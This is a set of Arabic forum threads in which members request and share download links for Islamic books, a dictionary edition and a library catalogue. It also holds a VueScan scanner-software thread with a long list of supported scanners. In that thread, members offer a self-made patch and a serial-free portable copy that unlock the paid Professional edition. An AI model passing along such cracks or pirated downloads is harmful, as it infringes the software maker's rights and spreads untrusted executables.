جرب مرة أخرى من هنا: http://www.4shared.com/file/27620914...ified=2bf4d6f5 (http://www.4shared.com/file/27620914/6b46c52c/___online.html?dirPwdVerified=2bf4d6f5)
ـ[أبو مازن العوضي]ــــــــ[06 - 02 - 09, 01:22 ص]ـ
تأتي هذه الرسالة The file link that you requested is not valid
ـ[أحمد أبو يوسف]ــــــــ[08 - 02 - 09, 01:51 ص]ـ
رجاءا. اعادة رفع الكتاب على موقع آخر.
أخي مصعب. صدقني. أنا خبير و أدري ما أقول.
لا يمكن تحميل الكتاب.
فرجاءا منك أو أحد الأخوة الكرام اعادة رفع الكتاب لأنه كتاب نادر جدا.
و شكرا.
ـ[مصعب الجهني]ــــــــ[08 - 02 - 09, 07:58 م]ـ
سأرفعه مرةً أخرى بعون الله.
ـ[أبو إبراهيم الحائلي]ــــــــ[08 - 02 - 09, 09:40 م]ـ
جزيبت خيرا أبا مصعب على هذا الكتاب المهم.
ـ[أحمد أبو يوسف]ــــــــ[10 - 02 - 09, 12:15 ص]ـ
جزيت الجنة ... ننتظر رفع الكتاب بفارغ الصبر.
ـ[أبو ذر الطائفى]ــــــــ[10 - 02 - 09, 12:45 ص]ـ
The file link that you requested is not valid
ـ[أحمد أبو يوسف]ــــــــ[16 - 02 - 09, 12:39 ص]ـ
جزيت الجنة ... ننتظر رفع الكتاب بفارغ الصبر.
ـ[معاذ محمد عبدالله]ــــــــ[16 - 02 - 09, 12:52 ص]ـ
منتظر لرفع الكتاب
(نفع الله بك)
ـ[مصعب الجهني]ــــــــ[16 - 02 - 09, 04:45 م]ـ
من هنا:
http://www.mediafire.com/download.php?de3ziqyw2wm
أو هنا:
http://arabsh.com/yq3w9ccrt53s.html
ـ[عادل البيضاوي]ــــــــ[16 - 02 - 09, 07:22 م]ـ
جزاك الله خيرا وبارك فيك
ـ[أحمد أبو يوسف]ــــــــ[16 - 02 - 09, 11:59 م]ـ
جزاك الله خيرا وبارك الله فيك.
عاملك الكريم المتعال بلطفه و رحمك رحمة واسعة.(61/165)
سلسلة كتاب الأمة؟؟؟
ـ[أبو عبدالعزيز الجهني]ــــــــ[12 - 09 - 08, 04:34 ص]ـ
أيها الأخوة بارك الله فيكم جميعا هل من سبيل الى تحميل سلسلة كتاب الأمة الموجودة في موقع وزارة الأوقاف القطرية على الرابط http://www.islam.gov.qa/UmmaBook/
ـ[أبو عبدالعزيز الجهني]ــــــــ[15 - 09 - 08, 07:50 ص]ـ
???????????????????????????????????????????????
ـ[ماجد المسلم]ــــــــ[16 - 09 - 08, 01:20 ص]ـ
تجدها هنا
http://www.ahlalhdeeth.com/vb/showthread.php?t=82438
دعواتكم
ـ[أبو طه الجزائري]ــــــــ[13 - 03 - 09, 03:06 ص]ـ
بارك الله فيكم و نفع بكم الاحباب
وفقكم الله و سدد خطاكم
ـ[أبو معاذ السلفي المصري]ــــــــ[26 - 09 - 09, 12:50 ص]ـ
جزاكم الله خيرا
ـ[محمد دروش]ــــــــ[27 - 09 - 09, 01:54 ص]ـ
هل من الممكن أن تضعوهم فى شكل chm؟ الروابط لتحميل لا يعمل حاليا ...
ـ[المصطفى احمد علال]ــــــــ[07 - 10 - 09, 03:48 م]ـ
هل من الممكن أن تضعوهم فى شكل chm؟ الروابط لتحميل لا يعمل حاليا ...
المصطفى احمد علال واناكذلك لم استطع تحميل السلسلة،افيدونا جزاكم الله خيرا
ـ[سفيان العباسي]ــــــــ[07 - 10 - 09, 04:44 م]ـ
هذه السلسلة تضم كتابات تحتاج الى إعادة نظر(61/166)
برنامج VueScan pro للسكانير
ـ[ taleb-ilm] ــــــــ[12 - 09 - 08, 12:57 م]ـ
بسم الله والحمد لله والصلاة والسلام على رسول الله
VueScan Professional 8.4.86
http://images.car.net.pk/ihost/images/450124VueScan-Pro.png
هذا من اشهر برامج السكانير وقع تحميله اكثر من 5مليون مرة.
البرنامج يمكنك من تصوير وثائقك بسهولة وبجودة عالية ويدعم 750 نوع سكانير.
انظر هذه الانواع في الاسفل.
للتحميل
http://rapidshare.com/files/144366270/VueScan_Professional_Edition_8.4.86.rar
او
http://depositfiles.com/files/7882036
Supported Scanners
Acer/BenQ
300C
300F
C310U
310S
310U
320S
320U
340U
610Plus
610C
610S
610ST
610U
620S
620ST
620U
620UT
640BU
6400UT
640BT
640S
640ST
640U
640UT
1220ST
1240UT
3300U
4300U
5000
5000E
5000U
5250C
5300U
5450U
7400UT
ScanWit 2720S
ScanWit 2740S
ScanWit 2750
Agfa
Arcus
Arcus 1200
Arcus II
Arcus Plus
CR-A
CR-A-S
Duoscan
DuoScan f40
Duoscan HiD
Duoscan T1200
Duoscan T2000XL
Duoscan T2500
Horizon
SnapScan
SnapScan 300
SnapScan 310
SnapScan 600
SnapScan 1212U
SnapScan 1236S
SnapScan 1236U
SnapScan e10
SnapScan e20
SnapScan e25
SnapScan e26
SnapScan e40
SnapScan e42
SnapScan e50
SnapScan e52
SnapScan EZ
StudioScan
StudioScan II
StudioScan IIsi
StudioStar
Apple
Color OneScanner 600
Color OneScanner 1200/30
Avision
1200U
5100
AM3000
AM6120
AM6124
AM6220
AV100CS
AV100IIICS
AV100S
AV120
AV121
AV122
AV122C2
AV160
AV180
AV210
AV210C2
AV220
AV220C2
AV240SC
AV260CS
AV262CS
AV3000
AV3000C
AV3200C
AV3200SU
AV3600
AV360CS
AV363CS
AV3750SU
AV3800
AV3800C
AV3850SU
AV420CS
AV500U
AV600U Plus
AV600U
AV610
AV610C2
AV6120
AV620CS Plus
AV620CS
AV6240
AV630CS
AV630CSL
AV660S
AV680S
AV690U
AV8000S
AV800S
AV8050S
AV810C
AV815C
AV820
AV820C Plus
AV820C
AV8300
AV830C Plus
AV830C
AV8350
AV880
AV880C
AVA3-400
AVA3
AVA3+
AVA3Plus
AVA6
AVZ300
DS610CU
FB1210U
FB2080E
FB6000
FB6000E
FB6080E
FBZ300
IT8300
Canon
CanoScan 300
CanoScan 600
FB1200S
FB620
FB620U
FB630U
FB636U
FB1210U
N650U
N656U
D660U
N670U
N676U
N1220U
N1240U
LiDE 20
LiDE 25
LiDE 30
FS2700
FS2710
FS4000
LiDE 35
LiDE 50
LiDE 60
LiDE 70
LiDE 80
LiDE 90
LiDE 500F
LiDE 600F
D1230U
D2400U
3200F
4400F
5000F
5200F
8000F
8400F
8600F
8800F
9900F
9950F
MP110
MP130
MP140
MP150
MP160
MP170
MP180
MP210
MP330
MP410
MP430
MP450
MP460
MP470
MP500
MP510
MP520
MP530
MP600
MP600R
MP610
MP710
MP740
MP750
MP760
MP770
MP780
MP790
MP800
MP800R
MP810
MP830
MP900
MP950
MP960
MP970
MX310
MX700
D1250U
3000F
4200F
MF3110
MF3200
MF4100
MF5630
MF5650
MF5730
MF5750
MF5770
MF6500
MF8100
MP220
MP360
MP370
MP375
MP390
MP700
MP730
MX300 Epson
Aculaser CX11 / LP-A500
Aculaser CX21
Epson 1000 ICS
ES-1000C / GT-8500
ES-1200C / GT-9000
ES-6000HS
ES-8500
Expression 636 / GT-9500
Expression 800 / GT-9600
Expression 836XL / GT-12000 / ES-8000
Expression 1600 / ES-2000
Expression 1640XL / ES-8500
Expression 1680 / ES-2200
Expression 10000XL / ES-10000G
FilmScan 200 / FS-1300
F-3200
GT-2200
GT-2500 / ES-H300
GT-4000
GT-5000
GT-5500
GT-6000 / ES-300C
GT-6500
GT-8000 / ES-800C
GT-8500 / ES-1000C
GT-10000 / ES-6000
GT-10000+ / ES-6000H
GT-15000 / ES-7000H
GT-30000 / ES-9000H
LP-M5500
LP-M5600
Perfection 600
Perfection 610 / GT-6600U
Perfection 636S / GT-7000S
Perfection 636U / GT-7000U
Perfection 640U / GT-6700U
Perfection 660
Perfection 1200S / GT-7600S
Perfection 1200U / GT-7600U
Perfection 1240U / GT-7700U
Perfection 1250 / GT-7200U
Perfection 1260 / GT-7300U
Perfection 1270 / GT-7400U
Perfection 1640SU / GT-8700F
Perfection 1650 / GT-8200U
Perfection 1660 / GT-8300U
Perfection 1670 / GT-8400UF
Perfection 2400 / GT-9300UF
(يُتْبَع .. اقلب الصفحة)
(61/167)
Perfection 2450 / GT-9700F
Perfection 2480 / GT-F500
Perfection 2580 / GT-F550
Perfection 3170 / GT-9400UF
Perfection 3200 / GT-9800F
Perfection 3490 / GT-F520
Perfection 3590 / GT-F570
Perfection 4180 / GT-F600
Perfection 4490 / GT-X750
Perfection 4870 / GT-X700
Perfection 4990 / GT-X800
Perfection V10/V100 / GT-S600/GT-F650
Perfection V200 / GT-F670
Perfection V350 / GT-F700
Perfection V500 / GT-X770
Perfection V700/V750 / GT-X900
Stylus CC700
Stylus CX1500
Stylus CX2800 / CX2900 / ME200
Stylus CX3100 / CX3200 / CC-570
Stylus CX3500 / CX3600 / CX3650 / PX-A550
Stylus CX3700 / CX3800 / DX3800
Stylus CX3900 / DX4000 / PX-A620
Stylus CX4100 / CX4200 / DX4200
Stylus CX4400 / DX4400 / CX5600
Stylus CX4500 / CX4600
Stylus CX4700 / CX4800 / DX4800 / PX-A650
Stylus CX4900 / CX5000 / DX5000
Stylus CX5900 / CX6000 / DX6000 / PX-A720
Stylus CX5100 / CX5200 / CC-600
Stylus CX5300 / CX5400
Stylus CX5800
Stylus CX6300 / CX6400
Stylus CX6500 / CX6600
Stylus CX6900 / CX7000 / DX7000
Stylus CX7300 / CX7400 / DX7400
Stylus CX7700 / CX7800
Stylus CX8300 / CX8400 / DX8400 / PX-A740
Stylus CX9300 / CX9400 / DX9400
Stylus PM-A700
Stylus PM-A920
Stylus PM-A950
Stylus PM-A960
Stylus PM-A970
Stylus PM-T960
Stylus PM-T990
Stylus RX420 / RX425 / RX430
Stylus RX500 / RX510
Stylus RX520 / RX530 / PM-A750
Stylus RX560 / RX580 / RX590 / PM-A820
Stylus RX585 / RX595 / RX610 / PM-A840
Stylus RX600 / PM-A850
Stylus RX620 / RX630 / PM-A870
Stylus RX640 / RX650 / PM-A890
Stylus RX680 / RX685 / RX690 / PM-A940
Stylus RX700 / PM-A900
StylusScan 2000
StylusScan 2500
Fujitsu
FB4603C
fi-4010CU
ScanPartner 10
ScanPartner 10C
ScanPartner 15C
ScanPartner 300C
ScanPartner 600C
ScanPartner 620C
ScanPartner Jr
ScanPartner
ScanStation
Hewlett-Packard
DeskJet F300
OfficeJet D-series
OfficeJet G55
OfficeJet G55xi
OfficeJet G85
OfficeJet G85xi
OfficeJet G95
OfficeJet K60
OfficeJet K60xi
OfficeJet K80
OfficeJet K80xi
OfficeJet V40
OfficeJet V40xi
OfficeJet V60
OfficeJet V60xi
OfficeJet V30
OfficeJet V45
OfficeJet 720
OfficeJet 750
OfficeJet 750xi
OfficeJet 780
OfficeJet 780xi
OfficeJet 4100
OfficeJet 4105
OfficeJet 4200
OfficeJet 4300
OfficeJet 5100
OfficeJet 5500
OfficeJet 5600
OfficeJet 6100
OfficeJet 6200
OfficeJet 6300
OfficeJet 7100
OfficeJet 7200
OfficeJet 7300
OfficeJet 7400
OfficeJet J2100
OfficeJet J5700
ScanJet
ScanJet Plus
ScanJet IIc
ScanJet IIp
ScanJet IIcx
ScanJet 3c
ScanJet 3p
ScanJet 4c
ScanJet 4p
ScanJet 5p
ScanJet 2100c
ScanJet 2200c
ScanJet 4100c
ScanJet 5200c
ScanJet 5300c
ScanJet 5370c
ScanJet 6100c
ScanJet 6200c
ScanJet 6300c
ScanJet 7400c
ScanJet 8200c
ScanJet 8300c
PhotoSmart
PhotoSmart 2570
PhotoSmart 2600
PhotoSmart 2700
PhotoSmart 3100
PhotoSmart 3200
PhotoSmart 3300
PhotoSmart C3100
PhotoSmart C4100
PhotoSmart C4200
PhotoSmart C4280
PhotoSmart C4380
PhotoSmart C5100
PhotoSmart C5200
PhotoSmart C6100
PhotoSmart C6200
PhotoSmart C7100
PhotoSmart C7200
PhotoSmart C8100
PhotoSmart D5300
PhotoSmart D7200
PhotoSmart D7400
PSC 920
PSC 950
PSC 1000
PSC 1100
PSC 1200
PSC 1300
PSC 1310
PSC 1350
PSC 1400
PSC 1500
PSC 1610
PSC 2100
PSC 2150
PSC 2170
PSC 2200
PSC 2300
PSC 2350
PSC 2410
PSC 2500
DeskJet F2100
DeskJet F4100
ScanJet 2400c
ScanJet 3500c
ScanJet 3570c
ScanJet 3670c
ScanJet 3770c
ScanJet 3970c
ScanJet 4070c
ScanJet 4370c
ScanJet 4500c
ScanJet 4570c
ScanJet 4600c
ScanJet 4670c
ScanJet 4850c
ScanJet 4890c
ScanJet 5400c
ScanJet 5470c
ScanJet 5530c
ScanJet 5550c
ScanJet 5590c
ScanJet 7650c
ScanJet 7800c
ScanJet G3010
ScanJet G4010
ScanJet G4050
LaserJet 1200
(يُتْبَع .. اقلب الصفحة)
(61/168)
LaserJet 1220
LaserJet 2820
LaserJet 2830
LaserJet 2840
LaserJet 3015
LaserJet 3020
LaserJet 3030
LaserJet 3050
LaserJet 3052
LaserJet 3055
LaserJet 3200
LaserJet 3300
LaserJet 3380
LaserJet 3390
LaserJet 4730
LaserJet 9500
LaserJet M3027
LaserJet M3035
LaserJet M4345
LaserJet M5025
LaserJet M5035
LaserJet CM4730
PhotoSmart S20
ScanJet 2300c
ScanJet 3300c
ScanJet 3800c
ScanJet 4400c
ScanJet 4470c Kodak
ds1500
ds2500
ds3000
ds4000
ds5000
ds7000
ds9000
ds990
i100
i200
i30
i40
i40T
i50
i55
i60
i600
i65
i80
i800
i85
il500
il500A
il900
il923
il990
RFS-2035
RFS-2035 Plus
RFS-3570
RFS-3600
LaCie
BlueScan 48
SilverScanner DTP
SilverScanner II
SilverScanner III
SilverScanner IV
SilverScanner Pro
LinoType-Hell
Jade
Jade II
Linoscan 1400
Linoscan 1450
Office
Office2
Saphir
Saphir Ultra
Saphir Ultra II
MediaX
SilverScan 1800
SilverScan 1800AFL
SilverScan 2700 Pro
WorkScan 3600pro
Microtek
ArtixScan 1100
ArtixScan 120tf
ArtixScan 1800f
ArtixScan 2020
ArtixScan 2500/2500f
ArtixScan 4000t/4000tf
ArtixScan 4500t
ArtixScan DI 1210
ArtixScan DI 1610
ArtixScan DI 2020
FileScan 3000
ScanMaker 1000XL
ScanMaker A3T
ScanMaker 35t
ScanMaker 35t+
ScanMaker 45t
ScanMaker 4
ScanMaker 5
ScanMaker 330
ScanMaker 600GS
ScanMaker 600ZS
ScanMaker 630
ScanMaker 636
ScanMaker 1850S
ScanMaker 2000
ScanMaker 4700
ScanMaker 5600
ScanMaker 5700
ScanMaker 6400XL
ScanMaker 6700
ScanMaker 6800
ScanMaker 8700
ScanMaker 9600XL
ScanMaker 9700XL
ScanMaker 9800XL
ScanMaker E2
ScanMaker E3
ScanMaker E6
ScanMaker i700
ScanMaker i800
ScanMaker i900
ScanMaker II
ScanMaker IIER
ScanMaker IIG
ScanMaker IIHR
ScanMaker IISP
ScanMaker III/Designer Pro
ScanMaker V600
ScanMaker V6UPL
ScanMaker V6USL
ScanMaker X6
ScanMaker X6USB
ScanMaker X12USL
SlimScan C6
FilmScan 35
FilmScan 1800
FilmScan 2700
FilmScan 3600
Minolta/Konica
QuickScan 35
Konica Qscan
Scan Dual
Scan Dual II
Scan Dual III
Scan Dual IV
Scan Elite
Scan Elite II
Scan Elite 5400
Scan Elite 5400 II
Scan Multi
Scan Multi II
Scan Multi Pro
Scan Speed
SC-110
SC-215
Mitsubishi
MCA-ADFC
S1200C
S600C
SS600
Nikon
CoolScan (LS-10)
CoolScan II (LS-20)
CoolScan III (LS-30)
CoolScan IV (LS-40)
CoolScan V (LS-50)
CoolScan 1000 (LS-1000)
CoolScan 2000 (LS-2000)
CoolScan 4000 (LS-4000)
CoolScan 5000 (LS-5000)
CoolScan 8000 (LS-8000)
CoolScan 9000 (LS-9000)
AX-110
AX-210
PIE
PrimeFilm 1800
PrimeFilm 1800i
PrimeFilm 1800U
PrimeFilm 1800AFL
PrimeFilm 1800LAB
PrimeFilm 3600PRO
PrimeFilm 2700
PrimeFilm 1800LC
PrimeFilm 3610AFL
PrimeFilm 3650PRO
PrimeFilm 3650U
PrimeFilm 3650LAB
PrimeFilm 7250PRO
PrimeFilm 7250U
PowerSlide 3600
PowerSlide 3650
Plustek
OpticFilm 7200
OpticFilm 7200i
OpticPro ST24
OpticPro ST28
OpticPro ST48
OpticFilm 7300
OpticFilm 7500i
Polaroid
SprintScan 35
SprintScan 35+
SprintScan 35/LE
SprintScan 45
SprintScan 45 Ultra
SprintScan 120
SprintScan 4000
SprintScan 4000+
Reflecta
CrystalScan 2700
CrystalScan 7200
DigitDia 3600
DigitDia 4000
DigitDia 5000
iScan
ProScan 3600
ProScan 4000
RPS 3600
RPS 7200
Silverscan
SmartDisk
SmartScan 2700
SmartScan 3600
UMAX
Alpha Vista II
Astra 180
Astra 1200S
Astra 1220S
Astra 1221S
Astra 2000U (SCSI only)
Astra 2100U (SCSI only)
Astra 2200 (SCSI only)
Astra 2400S
Astra 3400 (some versions)
Astra 5400
Astra 600S
Astra 610S
Astra 6400
Astra 6450
Astra 6500
Astra 6550
Gemini D-16
Mirage D-16L
Mirage II
Mirage IIse
Powerlook I
Powerlook II
Powerlook III
PowerLook 180
Powerlook 270
Powerlook 270+
Powerlook 270-2
Powerlook 1000
Powerlook 1100
Powerlook 1120
Powerlook 2000
Powerlook 2100XL
Powerlook 3000
S-6E
S-12
Supervista S-12
UC1200S
UC1200SE
UC1260
UC630
UC840
UC840M
UG630
Vista S-6
Vista S-6E
Vista S-8
Vista T600
Vista T630
Visioneer
430
680
780
780
8650
9450
9450R
9650
9650R
9750
9750R
XP450
XP450R
XP470
XP470R
Xerox
DocuMate152
DocuMate250
DocuMate250R
DocuMate252
DocuMate252R
DocuMate262
DocuMate262R
DocuMate272
DocuMate272R
DocuMate512
DocuMate520
DocuMate520R
DocuMate632
DocuMate752
(يُتْبَع .. اقلب الصفحة)
(61/169)
ـ[الجزائرية]ــــــــ[12 - 09 - 08, 03:11 م]ـ
مشكور اخي جزاك الله خيرا
ـ[الطيماوي]ــــــــ[12 - 09 - 08, 04:47 م]ـ
البرنامج رائع بالبفعل وقد جربته خاصة ميزة التوقيت الآلي لأخذ الصور
لكن المشكلة أنه ليس به امتداد png وهو الامتداد المعتمد عندنا في تصوير الكتب، ولو حاول الشخص أن يصور بامتداد tif ستظهر بعض الصفحات أثناء التصوير غير واضحة (والكلام عن تجربة) ولهذا عدلت عنه إلى ما هو متوفر في الويندوز الأصلي، علما بأني تواصلت مع احد الاخوة لعمل برنامج توقيت آلي لنفس برنامج الماسح الضوئي الذي مع الويندوز وبهذا نكسب الخيرين (امتداد png + توقيت آلي).
ـ[أبو أكرم الحلبي]ــــــــ[12 - 09 - 08, 08:44 م]ـ
جزاك الله أخيراً
السيريال يحول النسخة من تجريبية إلى Standard
صنعت لك له باتش ليحولها إلى Professional وهو بالمرفقات
نضع الباتش في مجلد البرنامج ونضغط على كلمة patch
وهذا موقع البرنامج لتحميل النسخة الأخيرة من البرنامج بالقوائم العربية
vuew9584 (http://www.hamrick.com/files/vuew9584.exe)
تقبل الله طاعتكم
ـ[ taleb-ilm] ــــــــ[12 - 09 - 08, 08:53 م]ـ
البرنامج رائع بالبفعل وقد جربته خاصة ميزة التوقيت الآلي لأخذ الصور
لكن المشكلة أنه ليس به امتداد png وهو الامتداد المعتمد عندنا في تصوير الكتب، ولو حاول الشخص أن يصور بامتداد tif ستظهر بعض الصفحات أثناء التصوير غير واضحة (والكلام عن تجربة) ولهذا عدلت عنه إلى ما هو متوفر في الويندوز الأصلي، علما بأني تواصلت مع احد الاخوة لعمل برنامج توقيت آلي لنفس برنامج الماسح الضوئي الذي مع الويندوز وبهذا نكسب الخيرين (امتداد png + توقيت آلي).
اخي الطيماوي البرنامج يحفظ ايضا بصيغة jpg pdf
لماذا لا تجرب هذه الصيغ.
البرنامج بصيغة محمولة لا تحتاج سريال
http://rapidshare.com/files/125104658/vse8.4.77_port.rar
ـ[الطيماوي]ــــــــ[12 - 09 - 08, 09:17 م]ـ
اخي الطيماوي البرنامج يحفظ ايضا بصيغة jpg pdf
لماذا لا تجرب هذه الصيغ.
البرنامج بصيغة محمولة لا تحتاج سريال
http://rapidshare.com/files/125104658/vse8.4.77_port.rar
جربتها ولم يفلح الأمر كذلك
تبقى صفحات يظهر باهتة للأسف.
ـ[ماجد المسلم]ــــــــ[25 - 03 - 09, 09:27 م]ـ
جزاكم الله خيراً ..
الإصدارات الجديدة من البرنامج عليها حماية قوية لا تقبل "باتش" أو رقم تسلسلي ..
وبهذا تكون هذه النسخة من البرنامج الوحيدة التي تعمل ..
فهل يوجد غير هذا البرنامج تنصحون به ويكون عملي كهذا؟
ـ[الطيماوي]ــــــــ[26 - 03 - 09, 06:11 م]ـ
اعمل مع مبرمج على صنع برنامج (المساعد في تصوير الكتب) ومتى انتهى منه سوف انزله بين ايديكم هنا ان شاء الله ويريحنا من كل البرامج الأخرى.
ـ[ماجد المسلم]ــــــــ[26 - 03 - 09, 06:14 م]ـ
جزاكم الله خيراً واسأله سبحانه أن يتم البرنامج على خير وأن يجعله في موازين أعمالكم الصالحة(61/170)
نريد كتاب السيرة النبوية لابي الحسين احمد بن فارس النحوي الرازي رحمه الله
ـ[محمد بن أبي عامر]ــــــــ[12 - 09 - 08, 04:02 م]ـ
السلام عليكم ورحمة الله وبركاته
نريد كتاب السيرة النبوية " لابي الحسين احمد بن فارس النحوي الرازي " رحمه الله
للأهمية بارك الله فيكم
ـ[محمد بن أبي عامر]ــــــــ[13 - 09 - 08, 12:19 ص]ـ
00000000000000000
ـ[محمد أبو سعد]ــــــــ[13 - 09 - 08, 07:08 ص]ـ
كتاب ابن فارس اسمه (أوجز السير لخير البشر) وطبع شرحه (مستعذب الأخبار) لأبي مدين الفاسي
http://www.arabic-islamic-books.com/_Product.php?Action=Detail&ProductID=3306
ـ[محمد بن أبي عامر]ــــــــ[14 - 09 - 08, 11:32 ص]ـ
الرابط لا يعمل بارك الله فيك
ـ[أبو الطيب الجزائري]ــــــــ[14 - 09 - 08, 04:10 م]ـ
http://www.ahlalhdeeth.com/vb/showthread.php?t=30755
ـ[محمد بن أبي عامر]ــــــــ[14 - 09 - 08, 06:13 م]ـ
لا يعمل
ـ[محمد بن أبي عامر]ــــــــ[15 - 09 - 08, 01:43 ص]ـ
000000000000000000000(61/171)
المباحث المختصرة في حوص النبي صلى الله عليه وسلم
ـ[عيسى العتيبي]ــــــــ[12 - 09 - 08, 06:40 م]ـ
السلام عليكم ورحمة الله وبركاته
أسعد الله أيامكم بطاعته
هذه رسالة كتبتها من فترة، ورغبت في وضعها بين يديكم
رجاء الفائدة لي ولكم
وهي رسالة مختصرة عن حوض النبي - صَلَّى اللَّهُ عَلَيْهِ وَسَلَّم َ - راعية فيها اجتناب الاختلاف للاختصار
والله الهادي إلى سواء السبيل
ـ[أبو رقية الذهبي]ــــــــ[12 - 09 - 08, 07:31 م]ـ
جزاكم الله خيرا
ـ[عيسى العتيبي]ــــــــ[20 - 09 - 08, 02:42 ص]ـ
جزاكم الله خيرا
وإياك أبا رقية(61/172)
حمل مقالات لغوية لابن عقيل الظاهري
ـ[سامح رضا]ــــــــ[12 - 09 - 08, 06:45 م]ـ
السلام عليكم ورحمة الله وبركاته.
هذه سلسلة مقالات لغوية للشيخ العلامة ابن عقيل الظاهري حفظه الله تعالى, في رسم الألف والهمزة, تم جمعها وترتيبها على هيئة كتيب في 43 صفحة, فأسأل الله أن ينفع ويثيب بها,,,
وجزاكم الله خيراً ....
رابط مباشر
http://www.aldahereyah.net/books/open.php?cat=1&book=374
ـ[صخر]ــــــــ[12 - 09 - 08, 10:13 م]ـ
جزاك الله خيرا ..
ـ[أحمد عبدالسلام العمادي]ــــــــ[13 - 09 - 08, 01:56 ص]ـ
جزاك الله خيراً
ـ[الاستاذ]ــــــــ[14 - 09 - 08, 12:37 ص]ـ
ليتك تدلني على محاضرته الفذة (حماية العقل البشري).
ـ[ضيف الله الشمراني]ــــــــ[14 - 09 - 08, 02:35 ص]ـ
ليتك تدلني على محاضرته الفذة (حماية العقل البشري).
لو كان ابن عقيل الظاهري ـ حفظه الله ـ حنبليا، لبلغ علمه أقاصي الدنيا.
لكن هكذا هم العلماء المعتنقون لهذا المذهب، عباقرة لا يلتفت إليهم، ولا ينتفع بعلومهم.
والله المستعان.
ـ[سامح رضا]ــــــــ[14 - 09 - 08, 04:26 م]ـ
..... عباقرة لا يلتفت إليهم، ولا ينتفع بعلومهم.
والله المستعان.
أختلف معك شيخنا الكريم ... فها هو ابن حزم مؤلفاته ملأت الدنيا
ومن اقترب من هذا المذهب كالشوكانى والصنعانى ملأت كتبهم وعلمهم الدنيا
ـ[سامح رضا]ــــــــ[14 - 09 - 08, 04:36 م]ـ
ليتك تدلني على محاضرته الفذة (حماية العقل البشري).
تفضل شيخنا
محاضرة حماية العقل البشري من العبث
http://www.jannah.com/audbase/auth/167/2843.html
صوتيات أخرى له
http://www.aldahereyah.net/forums/forumdisplay.php?f=12
ـ[صخر]ــــــــ[15 - 09 - 08, 05:24 ص]ـ
هل من سبيل إلى باقي محاضراته؟؟(61/173)
حمل: الجزء الأول من معجم لسان العرب مشكلا ومصححا
ـ[حمود بن يحيى]ــــــــ[12 - 09 - 08, 11:37 م]ـ
السلام عليكم ورحمة الله وبركاته
إخواني في الله: هذا هو الجزء الأول -بتجزئة دار المعارف- لمعجم لسان العرب .. وهو -ولله الحمد-:
1 - مشكل تشكيلًا كاملًا.
2 - موافق لطبعة دار المعارف.
3 - مقابل مرتين.
4 - صُوِّبت بعض المواضع الخطأ منه.
باقي الملاحظات تجدونها في الموضوع الآتي:
http://www.ahlalhdeeth.com/vb/showthread.php?t=147355
وجزى الله الشيخ أبا مالك خير الجزاء على استدراكاته ..
وإن شاء الله كلما انتهيت من جزء رفعته .. وربما أخذ مني المعجم كاملًا خمس سنوات!! .. فلا تنسونا من دعائكم بالتوفيق ..
مع العلم أن ابن منظور رتب معجمه على اعتبار آخر الكلمة المجردة "بابًا" والحرف الأول منها "فصلًا" .. ودار المعارف أعادت ترتيبه على ترتيب المصباح المنير للفيومي .. فجُعل الحرف الأول من الكلمة المجردة "بابًا" .. ثم الثاني .. ثم الثالث .. وهلم جراً ..
ولما كان معجم لسان العرب الموجود بالشاملة على ترتيب واضعه .. أعدتُ ترتيبه على ترتيب المصباح مثل ما في طبعة دار المعارف ..
والأخ الطيماوي قام مشكورًا بإعادة ترتيب باقيه -ابتداء من حرف الباء الترتيب من عمل الأخ الطيماوي- .. وطبعًا الجزء المرفوع خاص فقط بحرف الألف .. ولم أنته إلى الآن من حرف الألف ..
وهاكم نسخة محولة من ملف الوورد الذي عملت به
http://www.archive.org/details/lisane
وهذه طبعة دار المعارف لمن أراد تحميلها ..
http://www.archive.org/details/lesana55
وفي المرفقات نسخة الشاملة
ـ[محمود الشويحى]ــــــــ[13 - 09 - 08, 04:06 ص]ـ
أحسنت بارك الله فيك وننتظر باقى المعجم من هذه الطبعة فأكرمونا بها من فضلكم وأرجو من الأخ الطيماوى أن يتكرم بها على إخوانه مشكورا مأجورا إن شاء الله.
ـ[حمود بن يحيى]ــــــــ[13 - 09 - 08, 07:14 ص]ـ
وفيك بارك الله .. ولعلك لم تنتبه إلى قولي:
وربما أخذ مني المعجم كاملًا خمس سنوات!! .. فلا تنسونا من دعائكم بالتوفيق ..
وأما النسخة الموافقة لطبعة دار المعارف من غير مقابلة ولا تشكيل ولا تصويب فلعل الأخ الطيماوي يتكرم بوضعها في خزانة الكتب لإخوانه .. ليستفيد منها الإخوة حتى حين انتهائي ..
ونسيت أن أخبركم أن اللون الأحمر لمدخل –مادة- الباب .. والآيات القرآنية موضوعة بين قوسين مزخرفين، وأكثر الآيات ملونة باللون الأزرق للدلالة على أنها موافقة للقراءات العشر .. وما تُرك من الآيات باللون الأسود فلأنها ليست موافقة للقراءات العشر .. وباقي النص باللون الأسود ..
ـ[محمود الشويحى]ــــــــ[13 - 09 - 08, 08:23 ص]ـ
فهمت مقصودك من البداية أخى حمود وما طلبته هو أن يتفضل الأخ الطيماوى بوضع النسخة المكتوبة على ترتيب دار المعارف الموافقة لها.(61/174)
هدية رمضانية: فهرس مكتبة المصطفى مع الروابط
ـ[خزانة الأدب]ــــــــ[13 - 09 - 08, 02:09 ص]ـ
<? xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p> </o:p>
فهرس مكتبة المصطفى مع الروابط< o:p></o:p>
على الحروف< o:p></o:p>
مع تصحيح معظم التساهلات الإملائية< o:p></o:p>
إلى 14/ 5/2008< o:p></o:p>
<o:p> </o:p>
ـ[طه محمد عبدالرحمن]ــــــــ[13 - 09 - 08, 03:15 ص]ـ
بارك الله فيك على هذه الهدية القيمة.
ـ[محمود الشويحى]ــــــــ[13 - 09 - 08, 03:57 ص]ـ
جزاكم الله خيرا
ـ[أبو ذر محمد]ــــــــ[13 - 09 - 08, 04:31 ص]ـ
جزاك الله خيرا.
ـ[أبوسلمة السلفي]ــــــــ[13 - 09 - 08, 04:37 م]ـ
بارك الله فيك
هل هذا الفهرس يشمل كل كتب الموقع
ـ[خزانة الأدب]ــــــــ[14 - 09 - 08, 12:40 ص]ـ
الظاهر أنه يشمل جميع الكتب، لأنني استعرضت جميع الصفحات حسب تواريخ إضافتها، إلى 14/ 5/2008 (وهي آخر إضافة)، واستخرجت جميع العناوين والروابط منها
وتعلمون أن المكتبة لها فهرس آخر: (الرئيسية 1، الرئيسية 2، إلخ)، وصفحات حاصة للقصص وغيرها
فإن كان في تلك الصفحات كتب غير مسرودة في الفهرس الزمني فإن فهرسي يكون ناقصاً (ولا أظن ذلك)
ـ[أبو ذر محمد]ــــــــ[14 - 09 - 08, 01:35 ص]ـ
